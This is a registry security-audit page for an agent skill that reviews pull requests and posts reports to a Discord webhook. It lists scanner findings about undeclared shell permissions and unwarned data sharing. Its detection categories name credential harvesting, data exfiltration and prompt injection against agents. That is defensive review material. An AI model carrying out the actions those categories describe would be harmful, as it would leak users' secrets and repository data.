ClawHub
Back to skill

Security audit

PR Auto-Review

Security checks across malware telemetry and agentic risk

Overview

This skill performs a disclosed PR review workflow and only sends data to Discord when the user provides a webhook, but users should treat that webhook as an external sharing channel.

Install and run this only in repositories where gh is authenticated with appropriate least-privilege access. Provide a Discord webhook only for a trusted channel that is allowed to receive PR titles, authors, changed-file names, CI results, and health-check output. Use --skip-healthcheck if you do not want it to execute a separately installed healthcheck helper or probe local services, and enable the cron example only if repeated automated checks are intended.

SkillSpector

By NVIDIA
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (3)

Lp3

Medium
Category
MCP Least Privilege
Confidence
84% confidence
Finding
The skill explicitly instructs users to run shell scripts and external CLIs (`bash`, `gh`, `git`, `curl`, `jq`) but does not declare corresponding permissions or trust boundaries. This creates a transparency and governance gap: an agent or user may invoke networked and shell-capable behavior without clear permission scoping, increasing the chance of unintended command execution or data access.

Missing User Warnings

Medium
Confidence
94% confidence
Finding
The skill is designed to send structured PR review results to a Discord webhook, but the documentation provides no warning or guardrail about external data disclosure. Because the report may include PR metadata, changed files, CI/CD status, secret-scan results, and potentially sensitive service health information, posting it to a third-party webhook can leak internal or confidential data outside the development environment.

Missing User Warnings

Medium
Confidence
93% confidence
Finding
The script sends up to 1900 bytes of the generated PR review report to an arbitrary Discord webhook without any explicit consent prompt, redaction step, or strong warning that report contents are leaving the host. Because the report may include PR metadata, CI output, health-check results, and potentially sensitive snippets derived from repository state, this can cause unintended data exfiltration if a user supplies or inherits an untrusted webhook URL.

VirusTotal

65/65 vendors flagged this skill as clean.

View on VirusTotal

Static analysis

No suspicious patterns detected.